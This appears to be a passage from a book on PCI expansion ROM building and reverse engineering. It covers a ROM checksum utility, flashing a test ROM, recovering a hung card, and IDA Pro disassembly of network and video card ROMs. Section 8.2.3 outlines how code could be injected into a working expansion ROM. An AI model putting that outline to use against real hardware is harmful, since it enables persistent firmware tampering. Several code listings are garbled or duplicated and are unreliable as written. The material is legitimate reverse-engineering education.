if(pnp_checksum != 0 ) { pnp_checksum_byte = 0x100 - pnp_checksum;
} else { pnp_checksum_byte = 0;
}
/* Write PnP header checksum */
fseek(fp,(pnp_header_pos + PnP_CHKSUM_INDEX), SEEK_SET);
fputc(pnp_checksum_byte ,fp);
/* Overall file checksum handled from here on */
/* Reset current checksum on checksum byte */
if( fseek(fp, ROM_CHKSUM, SEEK_SET) != 0 ) { fclose(fp);
    return -1;
} else { fputc(0x00,fp);
}
/* Calculate checksum byte */
if(CalcChecksum(fp,rom_size) == 0x00) { checksum_byte = 0x00; /* Checksum already OK */
} else { checksum_byte = 0x100 - CalcChecksum(fp,rom_size);
}
/* Write checksum byte */
/* Put the file pointer at the checksum byte */
if(fseek(fp, ROM_CHKSUM, SEEK_SET) != 0) {

printf("Failed to seek through the file\n"
"closing program...\n");
fclose(fp);
return -1;
} else {
    /* Write the checksum to the checksum byte in the file */
fputc(checksum_byte, fp);
}

/* Write to disk */
fclose(fp);

printf("PnP ROM successfully created\n");
return 0;
}

int main(int argc, char* argv[])
{
    char out_f_name[MAX_FILE_NAME];
u32  target_size;
char* pch_temp[15];

if(argc != 3) /* Not enough parameter */
{
    printf("Usage: %s  
[input_filename]\n" [target_binary_size]\n",
argv[0]);
    printf("input_filename = binary file that need to be"
"patched into PCI PnP ROM\n"
"target_binary_size = the intended size of the"
"PCI PnP ROM\n");
    return -1;
}

strncpy(out_f_name, argv[1], MAX_FILE_NAME - 1);
target_size = strtoul(argv[2], pch_temp, 10);
if( 0 != (target_size % 512) ) {
    printf("Error on input parameter."
"Invalid target binary size!\n");
    return -1;
}

/* argv[1] is pointer to file name parameter from user */
if(ZeroExtend(out_f_name, target_size) != 0)
{
    printf("Error zero-extending output file! \n"
"Closing program...\n");
    return -1;
}
if(Patch2PnpRom(out_f_name) != 0)
{
    printf("Error patching checksums! \nClosing program...");
    return -1;
}
return 0;

7.3.4. Building the Sample

The following steps are needed to build a valid PCI PnP expansion ROM from the code provided in the preceding sections. Assume that all commands mentioned here are typed in a bash within Linux. I used the Slackware 9.0 Linux distribution in my development testbed.

1. Create a new directory for the core PCI expansion ROM source code. From now on, regard this directory as the root directory.
2. Copy all core source-code files into the root directory.
3. Create a new directory inside the root directory. From now on, regard this directory as the rom_tool directory.
4. Copy all PCI PnP expansion ROM checksum utility source code files into the root directory.
5. Invoke "make" from within the rom_tool directory. This will build the utility needed for a later step. The resulting build_rom utility will be copied automatically to the root directory, where it will be needed in a later build step.
6. Invoke "make" from within root directory. This will build the valid PCI PnP expansion ROM that can be directly flashed to target PCI card, i.e., the "hacked" Adaptec AHA 2940 card. This expansion ROM binary will be named rom.bin.

When you invoke "make" from the root directory, you will see messages in the shell similar to the following message:

```
as  -o  crt0.o  crt0.S
gcc  -o  main.o  -c  main.c
gcc  -o  ports.o  -c  ports.c
gcc  -o  video.o  -c  video.c
ld  -T  pci_rom.ld  -o  rom.elf  crt0.o  main.o  ports.o  video.o
objcopy  -v  -O  binary  rom.elf  rom.bin
copy  from  rom.elf(elf32-i386)  to  rom.bin(binary)
build_rom  rom.bin  65536
calculated  checksum  =  0x41
calculated  checksum  =  0x41
PnP  ROM  successfully  created
```
The result of these build steps is shown in hex dump 7.1. I'm using a hex dump utility in my Slackware Linux to obtain the result by invoking "hexdump -f fmt rom.bin" in bash.

Hex dump 7.1 rom.bin

<table>
<thead>
<tr>
<th>Address</th>
<th>Hex Values</th>
<th>ASCII Values</th>
</tr>
</thead>
<tbody>
<tr>
<td>000000</td>
<td>55 AA 04 EB 4F 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
<td>U . . . O . . . . . . . .</td>
</tr>
<tr>
<td>00000c</td>
<td>00 00 00 00 BF 00 00 00 00 00 00 00 00 00 00 00 00</td>
<td>. . . . . . . . . . . . . .</td>
</tr>
<tr>
<td>000018</td>
<td>1C 00 34 00 50 43 49 52 04 90 78 81 4 . P C I R . . x</td>
<td></td>
</tr>
<tr>
<td>000024</td>
<td>00 00 18 00 00 02 00 00 04 00 00 00 00 00 00 00 00</td>
<td>. . . . . . . . . . . . . .</td>
</tr>
<tr>
<td>000030</td>
<td>00 00 00 00 24 50 6E 50 01 02 00 00 00 00 00 00 00 $ P n P</td>
<td></td>
</tr>
<tr>
<td>00003c</td>
<td>00 5A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Z . . . . . . . . . .</td>
<td></td>
</tr>
<tr>
<td>000048</td>
<td>00 14 00 00 00 00 5B 00 00 00 00 00 00 00 00 00 00</td>
<td>. . . . . . . . . . . . . .</td>
</tr>
<tr>
<td>000054</td>
<td>25 CF 00 83 C8 20 CB B8 00 90 8E D0 % . . . . . . . . . . . . . .</td>
<td></td>
</tr>
</tbody>
</table>
| 000318  | 48 65 6C 6C 6F 20 57 6F 72 6C 64 21 Hello World ! | \n
The preceding hex dump is a condensed version of the real hex dump shown in the Linux console. I condensed it to show only the interesting parts. A hex dump utility is invoked using a custom hex dump formatting file named fmt to show the formatted hex values in hex dump 7.1. The listing for this formatting file is shown in listing 7.9. This file is just an ordinary ASCII text file.

Listing 7.9 fmt

```
"%06.6_ax " 12/1 "%02X 
" " "\x_p "
\\n"
```

The first line in listing 7.9 is telling the hex dump to display the addresses of the bytes in 6-digit hexadecimal, then to display two spaces, and to display 12 bytes with each byte shown as 2-digit hexadecimal. The second line is telling the hex dump to display two spaces and then display the ASCII of the byte. If it is a nonprintable ASCII character, it should display a dot. The third line is telling the hex dump to move to n the ext line in the output device, which in this case is the Linux console.

7.3.5. Testing the Sample

Testing the PCI expansion ROM binary is trivial. I used the aforementioned flash4.exe to flash the rom.bin file from real mode DOS by invoking the following command:
flash4.exe -w rom.bin

You can see the result by activating boot from LAN in the BIOS. You will see the "Hello World!" displayed on the screen.

7.3.6. Potential Bug and Its Workaround

I have to emphasize that anyone building a PCI expansion ROM has to check the value of the vendor ID and device ID within the source code. It's possible that the expansion ROM code is not executed\[^{11}\] because there is a mismatched vendor ID or device ID between the expansion ROM and the value hardwired into the PCI chip. I haven't done further work on this issue, but I strongly suggest avoiding this mismatch.

There is a specific circumstance in which the PCI initialization routine that I made is screwed up during development using the Adaptec AHA-2940U SCSI controller card with soldered PLCC SST 29EE512 flash ROM. In this case, I was not able to complete the boot of the testbed PC, because the motherboard BIOS possibly will hang at POST. In my case, this was because of wrong placement of the entry point to the PCI initialization routine. This entry point is a jump instruction at offset 03h from the beginning of the ROM binary image file. It should've been placed there, but it was inadvertently placed at offset 04h. Thus, the PC hangs during the execution of thePCI INIT function. The "brute force" workaround for this is as follows:

1. Install the corresponding "screwed up" SCSI controller card into one of the PCI slots if you haven't done it yet—with the PC turned off and unplugged.
2. Short-circuit the lowest address pins of the soldered flash ROM during boot until you can enter pure DOS mode. In my case, I use a metal wire. This wire is "installed" while the PC powered off and unplugged from its electrical source. I was short-circuiting address pin 0 (A0) and address pin 1 (A1). Short-circuiting A0 and A1 is enough, because you only need to generate a wrong PCI ROM header in the first 2 bytes. Find the datasheet of the flash ROM from its manufacturer's website to know which of the pin is the lowest address pin. This step is done on purpose to generate a checksum error in the PCI ROM header "magic number," i.e., AA55h. The reason for this step is if the PCI ROM header "magic number" is erratic, the motherboard BIOS will ignore this PCI expansion rom. Thus, you can proceed to boot to DOS and going through POST without hanging.
3. When you enter pure DOS, release the wire or conductor used to short-circuit the address pins. You will be able to flash the correct ROM binary into the flash ROM chip of the SCSI controller flawlessly. This step is carried out with the PC powered on and running DOS.

\[^{11}\] The system BIOS executes or initializes expansion ROM by executing a far jam into its initialization vector (offset 03h from the beginning of the expansion ROM binary).
4. Flash the correct ROM binary file to the flash ROM chip. Then, reboot to make sure everything is OK.

If you are using a hacked SCSI controller card, the PCI INIT function has to be working flawlessly, because it's always executed by the motherboard BIOS on boot. This PCI card "resurrection" is a dangerous procedure. Hence, it must be carried out carefully. Nevertheless, my experience shows that it works in the testbed without causing any damage.
Chapter 8 PCI Expansion ROM Reverse Engineering

PREVIEW

This chapter is devoted to explaining PCI expansion ROM reverse engineering. You learned the structure of the PCI expansion ROM in the previous chapter. Thus, it will be straightforward to do the reverse engineering. However, I note some differences among different PCI expansion ROMs.

8.1. Binary Architecture

In the previous chapter, you learned about PCI expansion ROM structure. The structure of such a binary is summarized in figure 8.1.
Figure 8.1 represents the layout of a PCI expansion ROM binary for single-machine architecture. I won't delve into more complex PCI expansion ROM binary layout, such as the PCI expansion ROM binary for multiple-machine architecture, because it will be straightforward to analyze once you understand its simpler counterpart. Figure 8.1 shows the lowest address range in the ROM binary that is occupied by "basic" ROM header. This "basic" ROM header contains the jump into the INIT function of the corresponding PCI expansion ROM. Review the structure of the basic ROM header for a PCI expansion ROM.

![Figure 8.2 PCI Expansion ROM basic header](image)

Figure 8.2 shows the structure of the basic header in an expansion ROM. Within this header is the jump into the initialization function. Thus, the logical step to start expansion ROM reverse engineering is to follow this jump. Upon following this jump, you arrive in the initialization function and its associated "helper" functions. Note that an expansion ROM is called with a far call by the system BIOS to start its initialization. Thus, expect that a retf (return far) instruction will mark the end of an expansion ROM. Indeed, that's the case, as you will discover in the next section.

Furthermore, recall from section 7.1.5 that a PCI expansion ROM is not required to adhere to the PnP specification. Hence, stick to the PCI expansion ROM basic header to guide you to the "main code execution path," i.e., the initialization function for the PCI expansion ROM.

1 PCI expansion ROM binary layout for multiple-machine architecture (with multiple images) is shown in figure 7.2.
8.2. Disassembling the Main Code

In this section, you will learn how to disassemble PCI expansion ROMs. It is a straightforward process because you known the PCI expansion ROM structure. To do so, start the disassembling process in the expansion ROM header and proceed until you find the return into the system BIOS, i.e., the last `retf` instruction.²

8.2.1. Disassembling Realtek 8139 Expansion ROM

As the first example, disassemble the Realtek 8139A/B/C/D³ expansion ROM. From this point on, I refer to this chip family as Realtek 8139X. The expansion ROM for Realtek 8139X is named rpl.rom, possibly to refer to remote program load. As shown later, this particular PCI expansion ROM adheres to both the PCI expansion ROM specification and the PnP specification. You can download the ROM binary from Realtek's website (http://www.realtek.com.tw/). The ROM file that's dissected here is from 2001. That's the latest version I could find on Realtek's website.

Get down to the disassembling business. First, make a rudimentary IDA Pro script that will help you dissect the binary. The script is shown in listing 8.1.

Listing 8.1 Rudimentary PCI Expansion ROM Parser

```c
#include <idc.idc>

static main()
{
    auto ea, size;
    MakeWord(0); MakeName(0, "magic_number"); MakeComm(0, "magic number");
    size = form("%d-bytes", Byte(2)*512);
    MakeByte(2); MakeName(2, "rom_size"); MakeComm(2, size);
    MakeCode(3); MakeName(3, "entry_point");
    MakeComm(3, "jump to initialization function");

    /* Parse PCI data structure */
    if( (Word(0x18) != 0) && (Dword(Word(0x18)) == 'RICP'))
    {
        MakeWord(0x18); MakeName(0x18, "PCI_Struc_Ptr");
    }
}
```

² It's possible that there are `retf` instructions in a PCI expansion ROM other than the `retf` instruction that takes the execution flow back into the system BIOS. Look for the latter.
³ There are four varieties of Realtek 8139 fast Ethernet controller chip: Realtek 8139A, Realtek 8139B, Realtek 8139C, and Realtek 8139D. Among these chip revisions, Realtek 8139D is the most recent.
MakeComm(0x18, "PCI data structure pointer");
OpOff(0x18, 0, 0);
ea = Word(0x18);

MakeDword(ea); MakeName(ea, "PCIR");
MakeComm(ea, "PCI data structure signature"); /* PCIR marker */

MakeWord(ea+4); MakeName(ea+4, "vendor_id");
MakeComm(ea+4, "Vendor ID");

MakeWord(ea+6); MakeName(ea+6, "device_id");
MakeComm(ea+6, "Device ID");

MakeWord(ea+8); MakeName(ea+8, "vpd_ptr");
MakeComm(ea+8, "pointer to vital product data");

MakeWord(ea+0xA); MakeName(ea+0xA, "pci_struc_len");
MakeComm(ea+0xA, "PCI Data structure length");

MakeByte(ea+0xC); MakeName(ea+0xC, "pci_struc_rev");
MakeComm(ea+0xC, "PCI Data structure revision");

MakeByte(ea+0xD); MakeName(ea+0xD, "class_code_1");
MakeComm(ea+0xD, "Class Code (byte 1)");

MakeByte(ea+0xE); MakeName(ea+0xE, "class_code_2");
MakeComm(ea+0xE, "Class Code (byte 2)");

MakeByte(ea+0xF); MakeName(ea+0xF, "class_code_3");
MakeComm(ea+0xF, "Class Code (byte 3)");

MakeWord(ea+0x10); MakeName(ea+0x10, "image_len");
MakeComm(ea+0x10, "image length in multiple of 512 bytes");

MakeWord(ea+0x12); MakeName(ea+0x12, "rev_level");
MakeComm(ea+0x12, "revision level");

MakeByte(ea+0x14); MakeName(ea+0x14, "code_type");
MakeComm(ea+0x14, "code type");

MakeByte(ea+0x15); MakeName(ea+0x15, "indicator");
MakeComm(ea+0x15, "indicator");

MakeByte(ea+0x16); MakeName(ea+0x16, "reserved");
MakeComm(ea+0x16, "reserved");

} /* Parse PnP data structure */
if( (Word(0x1A) != 0) && (Dword(Word(0x1A)) == 'PnP$'))
{
MakeWord(0x1A); MakeName(0x1A, "PnP_Struc_Ptr");
MakeComm(0x1A, "Plug and Play data structure pointer");
OpOff(0x1A, 0, 0);
ea = Word(0x1A);

MakeDword(ea); MakeName(ea, "$PnP");
MakeComm(ea, "PnP data structure signature");

MakeByte(ea+4); MakeName(ea+4, "struc_rev");
MakeComm(ea+4, "structure revision");

MakeByte(ea+5); MakeName(ea+5, "length");
MakeComm(ea+5, "length in multiple of 16 bytes");

MakeWord(ea+6); MakeName(ea+6, "next_hdr_offset");
MakeComm(ea+6, "offset to next header (0000h if none)");

MakeByte(ea+8); MakeName(ea+8, "reserved_1");
MakeComm(ea+8, "reserved");

MakeByte(ea+9); MakeName(ea+9, "checksum");
MakeComm(ea+9, "checksum");

MakeDword(ea+0xA); MakeName(ea+0xA, "dev_id");
MakeComm(ea+0xA, "Device Identifier");

MakeWord(ea+0xE); MakeName(ea+0xE, "manufacturer_str");
MakeComm(ea+0xE, "pointer to manufacturer string");

MakeWord(ea+0x10); MakeName(ea+0x10, "product_str");
MakeComm(ea+0x10, "pointer to product string");

MakeByte(ea+0x12); MakeName(ea+0x12, "dev_type_1");
MakeComm(ea+0x12, "device type (byte 1)");

MakeByte(ea+0x13); MakeName(ea+0x13, "dev_type_2");
MakeComm(ea+0x13, "device type (byte 2)");

MakeByte(ea+0x14); MakeName(ea+0x14, "dev_type_3");
MakeComm(ea+0x14, "device type (byte 3)");

MakeByte(ea+0x15); MakeName(ea+0x15, "dev_indicator");
MakeComm(ea+0x15, "device indicator");

MakeWord(ea+0x16); MakeName(ea+0x16, "bcv");
MakeComm(ea+0x16, "boot connection vector (0000h if none)");

MakeWord(ea+0x18); MakeName(ea+0x18, "dv");
MakeComm(ea+0x18, "disconnect vector (0000h if none)");

MakeWord(ea+0x1A); MakeName(ea+0x1A, "bev");
MakeComm(ea+0x1A, "bootstrap entry vector (0000h if none)");
MakeWord(ea+0x1C); MakeName(ea+0x1C,"reserved__");
MakeComm(ea+0x1C, "reserved");

MakeWord(ea+0x1E); MakeName(ea+0x1E,"siv");
MakeComm(ea+0x1E,"static resource information vector (0000h if none"));
}
return 0;
}

Listing 8.1 is constructed based on the PCI expansion ROM specification and PnP specification that you learned in the previous chapter, specifically, the header layout. To use the script in listing 8.1, open the ROM binary starting at segment 0000h and offset 0000h in IDA Pro. You can’t know the exact loading segment for any expansion ROM because it depends on the system configuration. The system BIOS is responsible for system-wide address space management, including initializing the base address for the XROMBARs and loading and initializing every PCI expansion ROM in the system. That’s why you load the binary in segment 0000h. Actually, any segment is OK; it won’t make a difference. Furthermore, as shown later, every data-related instruction would use references based on the code segment. You have to disassemble the binary in 16-bit mode, because the processor is running in real-mode during expansion ROM initialization. The result of parsing rpl.rom with IDA Pro script is in listing 8.1.

Listing 8.2 Rpl.rom Parsing Result

Listing 8.2 Rpl.rom Parsing Result

0000:0000 magic_number dw OAA55h ; Magic number
0000:0002 rom_size db 1Ch         ; 14,336 bytes
0000:0003 ; -------------------------------------------------------------
0000:0003 entry_point:            ; Jump to initialization function
0000:0003   jmp   short loc_43
0000:0003 ; -------------------------------------------------------------
0000:0005   db  4Eh ; N
0000:0006   db  65h ; e
0000:0007   db  74h ; t
0000:0008   db  57h ; W
0000:0009   db  61h ; a
0000:000A   db  64h ; d
0000:000B   db  79h ; y
0000:000C   db  20h
0000:000D   db  52h ; R
0000:000E   db  65h ; e
0000:000F   db  61h ; a
0000:0010   db  64h ; d
0000:0011   db  79h ; y
0000:0012   db  20h

The code segment is pointed to by the cs register in x86 processors.
0000:0013 db 52h ; R
0000:0014 db 4Fh ; O
0000:0015 db 4Dh ; M
0000:0016 db 0
0000:0017 db 0
0000:0018 PCI_Struc_Ptr dw offset PCIR ; PCI data structure pointer
0000:001A PnP_Struc_Ptr dw offset $PnP ; PnP data structure pointer
0000:001C db 0Eh
0000:001D db 1Dh
0000:001E db 52h ; R
0000:001F db 6
0000:0020 db 0E9h ; T
0000:0021 db 2
0000:0022 db 2
0000:0023 $PnP dd 506E5024h ;...
0000:0023 ; PnP data structure signature
0000:0027 struct_rev db 1 ; Structure revision
0000:0028 length dw 2 ; Length in multiple of 16 bytes
0000:0029 next_hdr_offset dw 0 ; Offset to next header (0000h if none)
0000:002A reserved_ db 0 ; Reserved
0000:002B checksum db 4 ;... 
0000:002C checkum db 4 ; Checksum
0000:002D dev_id dd 0 ; Device identifier
0000:0032 manufacturer_str dw 793h ; Pointer to manufacturer string
0000:0033 product_str dw 7A7h ; Pointer to product string
0000:0035 dev_type_1 db 2 ; Device type (byte 1)
0000:0036 dev_type_2 db 0 ; Device type (byte 2)
0000:0037 dev_type_3 db 0 ; Device type (byte 3)
0000:0038 dev_indicator db 14h ;...
0000:0039 bcv dw 0 ; Boot connection vector (0000h if none)
0000:0039 ; None)
0000:003B dv dw 0 ; Disconnect vector (0000h if none)
0000:003D bev dw 168h ;...
0000:003D ; Bootstrap entry vector (0000h if none)
0000:003D ; None)
0000:003F reserved__ dw 0 ; Reserved
0000:0041 slv dw 0 ; Static resource information vector
0000:0041 ; (0000h if none)
0000:0043 loc_43: ; -------------------------------------------------------------
0000:0044 loc_43: ;...
0000:0047 cli
0000:0519 PCIR dd 52494350h ; PCI data structure signature
0000:0519 ; PCI data structure signature
0000:051D vendor_id dw 10BCh ; Vendor ID
0000:051F device_id dw 8139h ; Device ID
0000:0521 vpd_ptr dw 0 ; Pointer to vital product data
0000:0523 pci_struc_len dw 18h ; PCI data structure length
0000:0525 pci_struc_rev db 0 ; PCI data structure revision
Listing 8.2 clearly shows the PCI expansion ROM basic header, PCI data structure, and PnP data structure, along with their associated pointers within rpl.rom after it has been being parsed using the idc script in listing 8.1. Listing 8.2 also shows that rpl.rom implements bootstrap entry vector (BEV). I delve into it soon. For now, dissect the main code execution path during the initialization of the expansion ROM, i.e., when INIT function is far-called by the system BIOS during POST. The code execution path is shown in listing 8.3.

Listing 8.3 Rpl.rom Main Code Execution Path

```
0000:0003 entry_point: ; Jump to initialization function
0000:0003   jmp   short loc_43

0000:0043 loc_43: ; ...
0000:0043   mov   cs:word_300, ax
0000:0047   cli

0000:004E   jnb   short loc_51
0000:0050   retf ; Return to system BIOS

0000:0051 loc_51: ; -----------------------------------------------
0000:0051   push  cs
0000:0052   pop   ds

0000:00BB   jz   short loc_BE
0000:00BD   retf ; Return to system BIOS

0000:00BE ; -----------------------------------------------
0000:00BE   push  ds
0000:00BF   push  bx

0000:0165   pop   bx
```

5 The entry point (pointer) to the INIT function is placed at the offset 03h from the beginning of the expansion ROM. The instruction in that address is called using a 16-bit far call by the system BIOS to execute expansion ROM initialization. Note that PCI expansion ROM is always copied to RAM before being executed.
Listing 8.3 reveals the main code execution path. It's a linear execution path. The listing shows that the return to the system BIOS is accomplished with the `retf` instruction as expected. To recognize the initialization code execution path in a PCI expansion ROM, you just have to find where the `retf` instructions are located. Tracing the execution path with the `retf` instruction is enough, unless the expansion ROM is using an exotic procedure call that "abuses" the `retf` instruction.6

Now, proceed to dissect the code execution path that starts from the BEV. The BEV is executed if you choose to boot from a local area network (LAN) in the motherboard BIOS setting; otherwise, it won't be executed. Furthermore, when BEV is used, the LAN card7 is treated as the boot device, much like the role of the hard drive in a normal operating system loading scenario. Listing 8.2 at address 0000:003Dh shows that the BEV value is offset 168h from the beginning of the expansion ROM. Thus, that address will be the starting point.

Listing 8.4 Rpl.rom BEV Code Execution Path

```
0000:0168 bev_start:
0000:0168   pushf
0000:0169   push  cs
0000:016A   call  bev_proc
0000:016D   popf
0000:016E   xor   ax, ax
0000:0170   retf

0000:0190 bev_proc:               ; ...
0000:0190   push  es
0000:0191   push  ds
0000:0192   push  ax
0000:0193   pushf
0000:0194   mov   ax, es

Listing 8.4 shows the flow of the code execution during BEV invocation by the system BIOS. It doesn't show the overall disassembly; it only shows the important sections.

6 I have seen such an "abuse" of the `retf` instruction to do procedure calling when reverse engineering Award BIOS.
7 A real network card or a card with expansion ROM that's "hacked" into a network card–like ROM.
8.2.2. Disassembling Gigabyte GV-NX76T256D-RH GeForce 7600 GT Expansion ROM

Now, dissect a PCI Express card expansion ROM, the GeForce 7600 GT expansion ROM. This card is a video card based on the Nvidia 7600 GT chip. Every video card is equipped with an expansion ROM to initialize it and provide the video output early in the boot stage. You may wonder if this is a new expansion ROM structure exclusively for PCI Express devices. That's not the case. The PCI Express specification doesn't define a new expansion ROM structure. Thus, PCI Express devices adhere to the PCI expansion ROM structure you learned in previous chapter. Now, dissect the expansion ROM.

Listing 8.5 GeForce 7600 GT Expansion ROM Main Code Execution Path

<table>
<thead>
<tr>
<th>Address</th>
<th>Hex</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>0000:0000</td>
<td>0AA55h</td>
<td>Magic number</td>
</tr>
<tr>
<td>0000:0002</td>
<td>7Fh</td>
<td>Rom size</td>
</tr>
<tr>
<td>0000:0003</td>
<td>Entry point: Jump to initialization function</td>
<td></td>
</tr>
<tr>
<td>0000:0003</td>
<td>JMP short INIT</td>
<td></td>
</tr>
<tr>
<td>0000:0005</td>
<td>37h</td>
<td>7</td>
</tr>
<tr>
<td>0000:0006</td>
<td>34h</td>
<td>4</td>
</tr>
<tr>
<td>0000:0007</td>
<td>30h</td>
<td>0</td>
</tr>
<tr>
<td>0000:0008</td>
<td>30h</td>
<td>0</td>
</tr>
<tr>
<td>0000:0009</td>
<td>0E9h</td>
<td>T</td>
</tr>
<tr>
<td>0000:000A</td>
<td>4Ch</td>
<td>L</td>
</tr>
<tr>
<td>0000:000B</td>
<td>19h</td>
<td></td>
</tr>
<tr>
<td>0000:000C</td>
<td>77h</td>
<td>W</td>
</tr>
<tr>
<td>0000:000D</td>
<td>0CCh</td>
<td></td>
</tr>
<tr>
<td>0000:000E</td>
<td>56h</td>
<td>V</td>
</tr>
<tr>
<td>0000:000F</td>
<td>49h</td>
<td>I</td>
</tr>
<tr>
<td>0000:0010</td>
<td>44h</td>
<td>D</td>
</tr>
<tr>
<td>0000:0011</td>
<td>45h</td>
<td>E</td>
</tr>
<tr>
<td>0000:0012</td>
<td>4Fh</td>
<td>O</td>
</tr>
<tr>
<td>0000:0013</td>
<td>20h</td>
<td></td>
</tr>
<tr>
<td>0000:0014</td>
<td>0Dh</td>
<td></td>
</tr>
<tr>
<td>0000:0015</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>0000:0016</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>0000:0017</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>0000:0018</td>
<td>PCI_Struc_Ptr dw offset PCIR ; PCI data structure pointer</td>
<td></td>
</tr>
<tr>
<td>0000:001A</td>
<td>13h</td>
<td></td>
</tr>
<tr>
<td>0000:001B</td>
<td>11h</td>
<td></td>
</tr>
<tr>
<td>0000:0050</td>
<td>INIT:</td>
<td>...</td>
</tr>
<tr>
<td>0000:0050</td>
<td>JMP exec_rom_init</td>
<td></td>
</tr>
<tr>
<td>0000:00A0</td>
<td>PCIR db 'PCIR'</td>
<td></td>
</tr>
<tr>
<td>0000:00A0</td>
<td>Vendor_id dw 10DEh ; Vendor ID</td>
<td></td>
</tr>
</tbody>
</table>
0000:00A6 device_id dw 392h ; Device ID
0000:00A8 vpd_ptr dw 0 ; Pointer to vital product data
0000:00AA pci_struc_len dw 18h ; PCI data structure length
0000:00AC pci_struc_rev db 0 ; PCI data structure revision
0000:00AD class_code_1 db 0 ; Class code (byte 1)
0000:00AE class_code_2 db 0 ; Class code (byte 2)
0000:00AF class_code_3 db 3 ; Class code (byte 3)
0000:00B0 image_len dw 7Fh ; ...  
0000:00B2 rev_level dw 1 ; Revision level
0000:00B4 code_type db 0 ; Code type
0000:00B5 indicator db 80h ; Indicator
0000:00B6 reserved db 0 ; Reserved

.........
0000:DA9D exec_rom_init: ; ...
0000:DA9D test cs:byte_48, 1
0000:DAA3 jz short loc_DAD2
0000:DAA5 pusha

.........
0000:DB45 call sub_D85F
0000:DB48 jmp loc_FCD3

.........
0000:FCD3 loc_FCD3: ; ...
0000:FCD3 pushad
0000:FCD5 push cs
0000:FCD6 pop ds

.........
0000:3890 loc_3890: ; ...
0000:3890 call sub_383A
0000:3893 xor ah, ah
0000:3895 mov al, 3
0000:3897 call sub_112A
0000:3899 mov cs:byte_AC8, 0
0000:389A call sub_1849
0000:3893 test cs:byte_48, 1
0000:3897 jnz short loc_38B3
0000:389A test cs:byte_34, 10h
0000:3893 jz short loc_38B6
0000:3893 loc_38B3: ; ...
0000:38B3 call sub_AF6
0000:38B6
0000:38B6 loc_38B6: ; ...
0000:38B6 call sub_C22D
0000:38B9 clc
0000:38BA call sub_C1F7
0000:38BD call sub_4739
0000:38C0 call sub_3872
0000:38C3 pop bp
0000:38C4 retf ; Return to system BIOS

0000:00A6 device_id dw 392h ; Device ID
0000:00A8 vpd_ptr dw 0 ; Pointer to vital product data
0000:00AA pci_struc_len dw 18h ; PCI data structure length
0000:00AC pci_struc_rev db 0 ; PCI data structure revision
0000:00AD class_code_1 db 0 ; Class code (byte 1)
0000:00AE class_code_2 db 0 ; Class code (byte 2)
0000:00AF class_code_3 db 3 ; Class code (byte 3)
0000:00B0 image_len dw 7Fh ; ...
0000:00B2 rev_level dw 1 ; Revision level
0000:00B4 code_type db 0 ; Code type
0000:00B5 indicator db 80h ; Indicator
0000:00B6 reserved db 0 ; Reserved

.........
0000:DA9D exec_rom_init: ; ...
0000:DA9D test cs:byte_48, 1
0000:DAA3 jz short loc_DAD2
0000:DAA5 pusha

.........
0000:DB45 call sub_D85F
0000:DB48 jmp loc_FCD3

.........
0000:FCD3 loc_FCD3: ; ...
0000:FCD3 pushad
0000:FCD5 push cs
0000:FCD6 pop ds

.........
0000:3890 loc_3890: ; ...
0000:3890 call sub_383A
0000:3893 xor ah, ah
0000:3895 mov al, 3
0000:3897 call sub_112A
0000:3899 mov cs:byte_AC8, 0
0000:389A call sub_1849
0000:3893 test cs:byte_48, 1
0000:3897 jnz short loc_38B3
0000:389A test cs:byte_34, 10h
0000:3893 jz short loc_38B6
0000:3893 loc_38B3: ; ...
0000:38B3 call sub_AF6
0000:38B6
0000:38B6 loc_38B6: ; ...
0000:38B6 call sub_C22D
0000:38B9 clc
0000:38BA call sub_C1F7
0000:38BD call sub_4739
0000:38C0 call sub_3872
0000:38C3 pop bp
0000:38C4 retf ; Return to system BIOS
Listing 8.5 shows that the PCI Express expansion ROM used in the GeForce 7600 GT video card doesn't adhere to the PnP BIOS specification. However, it adheres to the PCI expansion ROM specification, i.e., with the presence of a valid PCI data structure.\(^8\) Note that even though listing 8.5 at address 0000:001Ah shows that it contains a nonzero value, it doesn't point to a valid PnP data structure.\(^9\) Thus, you found the main code execution path by following the jump to the \texttt{INIT} function and tracing the execution until you found the \texttt{retf} instruction that marks the return to the system BIOS.

### 8.2.3. A Note on Expansion ROM Code Injection Possibility

The PCI expansion ROM disassembly session in the previous sections shows that the PCI expansion ROM is relatively straightforward to reverse engineer. Furthermore, it's relatively easy to inject code into an operational PCI expansion ROM. All you have to do to implement it are the following:

- Redirect the \texttt{INIT} function pointer.
- Fixing the ROM checksum as needed.
- Fix the overall ROM size in the header if the new binary is bigger than the older one.

One thing to note: the overall ROM size (including the injected code) must not be bigger than the capacity of the ROM chip.

\(^8\) A valid PCI data structure in PCI expansion ROM starts with the "PCIR" string.

\(^9\) A valid PnP data structure in PCI expansion ROM starts with the "$PnP" string.
Chapter 9 Accessing BIOS within the Operating System

PREVIEW

In this chapter, you will learn to access the contents of a BIOS chip directly within an operating system, including the contents of the PCI expansion ROM chip. The first section explains the basic principles; the next sections delve into specific issues of the operating system and their corresponding interfaces. The chapter explores the proof of concept of this idea in Linux and Windows.

9.1. General Access Method

Accessing the BIOS chip contents directly within a running operating system may seem like a tough job. It won't be as hard as you think. You can access and manipulate the BIOS chip directly within the operating system only if the chip is EEPROM or flash ROM. Fortunately; all motherboards since the late 1990s use one of these types of chip.

Different operating systems have different software layers. However, the logical steps to access the BIOS contents within them remain almost the same. This is because of the programming model in x86 architecture. Most operating systems in x86 architecture use two privilege levels provided by the hardware to allow seamless access to system resources among applications. They are known as ring 0, or the kernel mode, and ring 3, or the user mode. Any software that runs in kernel mode is free to access and manipulate the hardware directly, including the BIOS chip. Thus, the general steps to access the BIOS chip in the motherboard directly within the operating system are as follows:

1. Enter kernel mode in the operating system. In most cases, you need to make an operating system–specific device driver in this step. You have to build a device driver for two reasons. First, the operating system will grant kernel-mode access only to device drivers. Second, in most cases, operating systems don't provide a well-defined software interface to manipulate the BIOS chip—if they even have such an interface. At first sight, it might seem that you have to use a different approach to provide access to manipulate the BIOS chip for a user-mode application in Linux and Windows through the device driver. However, this is not the case. Uniform software architecture works just fine. The basic purpose of the device driver is to provide direct access to the BIOS chip address space for the user mode application. As shown in a later section, you don't even need to build a device driver in Linux for this concept to work, because the Linux kernel provides access to the BIOS address space through the virtual file in /dev/mem. The basic method for "exporting" the BIOS chip address space to a user-mode application is as follows:
